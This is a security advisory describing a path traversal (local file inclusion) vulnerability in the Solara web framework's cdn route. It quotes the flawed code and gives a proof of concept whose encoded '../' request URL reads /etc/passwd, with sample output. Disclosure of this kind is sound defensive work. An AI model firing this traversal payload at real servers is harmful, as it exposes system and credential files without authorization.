CVE-2024-39903: Local File Inclusion in Solara
Name
CVE-2024-39903: Local File Inclusion in Solara
Weakness
CWE-22: Path Traversal
Severity
High (8.8)
Version
1.34.1
Summary
A local file inclusion is present in the Solara when requesting resource files under the /{cdn_helper.cdn_url_path}/<path:path>
route.
Details
The endpoint cdn is used to load resource file from cdn. However when resource file is cached, it will load files from local file system directly.
The cdn
endpoint:
@blueprint.route(f"/{cdn_helper.cdn_url_path}/<path:path>")
def cdn(path):
if not allowed():
abort(401)
cache_directory = settings.assets.proxy_cache_dir
content = cdn_helper.get_data(Path(cache_directory), path)
mime = mimetypes.guess_type(path)
return flask.Response(content, mimetype=mime[0])
The get_data
calls get_from_cache
to lookup cached files, it concatenates path
into base_cache_dir
to get cached path directly and load the content afterwards. The path
comes from the <path:path>
part of cdn
route. In this case, when path is ..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
, attacks can use path traversal to read any files in local file system.
The function get_data
and get_from_cache
def get_data(base_cache_dir: pathlib.Path, path):
parts = path.replace("\\", "/").split("/")
store_path = path if len(parts) != 1 else pathlib.Path(path) / "__main.js"
content = get_from_cache(base_cache_dir, store_path)
if content:
return content
url = get_cdn_url(path)
response = requests.get(url)
if response.ok:
put_in_cache(base_cache_dir, store_path, response.content)
return response.content
else:
logger.warning("Could not load URL: %r", url)
raise Exception(f"Could not load URL: {url}")
def get_from_cache(base_cache_dir: pathlib.Path, path):
cache_path = base_cache_dir / path
try:
logger.info("Opening cache file: %s", cache_path)
return cache_path.read_bytes()
except FileNotFoundError:
pass
PoC
-
Install Solara:
pip install solara
- Create
sol.py
following official docs:import solara # Declare reactive variables at the top level. Components using these variables # will be re-executed when their values change. sentence = solara.reactive("Solara makes our team more productive.") word_limit = solara.reactive(10) @solara.component def Page(): # Calculate word_count within the component to ensure re-execution when reactive variables change. word_count = len(sentence.value.split()) solara.SliderInt("Word limit", value=word_limit, min=2, max=20) solara.InputText(label="Your sentence", value=sentence, continuous_update=True) # Display messages based on the current word count and word limit. if word_count >= int(word_limit.value): solara.Error(f"With {word_count} words, you passed the word limit of {word_limit.value}.") elif word_count >= int(0.8 * word_limit.value): solara.Warning(f"With {word_count} words, you are close to the word limit of {word_limit.value}.") else: solara.Success("Great short writing!") # The following line is required only when running the code in a Jupyter notebook: Page()
-
Start the solara server.
solara run sol.py > Solara server is starting at http://localhost:8765
-
Open the url:
http://127.0.0.1:8765/_solara/cdn/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
, the output is the contents of the/etc/passwd
file:root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin ...
Impact
Any file on the backend filesystem can be read by an attacker with access to the solara server directly(If reverse proxy server such as nginx is used, the path parameter will be blocked).
Reference
https://github.com/widgetti/solara/security/advisories/GHSA-9794-pc4r-438w